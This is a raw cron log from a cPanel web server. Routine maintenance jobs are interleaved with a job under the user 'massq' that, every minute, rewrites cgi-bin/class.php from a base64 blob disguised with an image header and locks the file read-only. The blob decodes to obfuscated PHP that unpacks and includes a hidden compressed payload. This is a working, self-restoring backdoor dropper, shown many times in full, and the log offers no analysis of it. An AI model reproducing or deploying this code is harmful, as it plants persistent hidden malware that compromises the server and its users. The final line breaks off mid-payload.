Sep  8 12:39:01 server CROND[24847]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 12:40:01 server CROND[25245]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 12:40:01 server CROND[25244]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 12:40:01 server CROND[25247]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 12:40:01 server CROND[25250]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 12:40:01 server CROND[25261]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:40:01 server CROND[25262]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 12:40:01 server CROND[25263]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:40:01 server CROND[25260]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:41:01 server CROND[26070]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:41:01 server CROND[26069]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:41:01 server CROND[26071]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:42:01 server CROND[26451]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:42:01 server CROND[26452]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:42:01 server CROND[26453]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 12:42:01 server CROND[26455]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:43:01 server CROND[26837]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:43:01 server CROND[26838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:43:01 server CROND[26839]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:44:01 server CROND[27318]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:44:01 server CROND[27319]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:44:01 server CROND[27321]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:45:01 server CROND[27707]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 12:45:01 server CROND[27710]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 12:45:01 server CROND[27709]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:45:01 server CROND[27711]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 12:45:01 server CROND[27713]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:45:01 server CROND[27708]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:45:01 server CROND[27712]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 12:46:01 server CROND[28539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:46:01 server CROND[28540]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:46:01 server CROND[28541]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:47:01 server CROND[28978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:47:01 server CROND[28979]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:47:01 server CROND[28980]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:48:01 server CROND[29386]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:48:01 server CROND[29387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:48:01 server CROND[29388]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:49:01 server CROND[29862]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:49:01 server CROND[29863]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:49:01 server CROND[29864]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:50:01 server CROND[30260]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 12:50:01 server CROND[30261]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 12:50:01 server CROND[30264]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 12:50:01 server CROND[30266]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:50:01 server CROND[30272]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 12:50:01 server CROND[30273]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 12:50:01 server CROND[30275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:50:01 server CROND[30274]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 12:50:01 server CROND[30276]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:51:01 server CROND[31113]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:51:01 server CROND[31114]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLc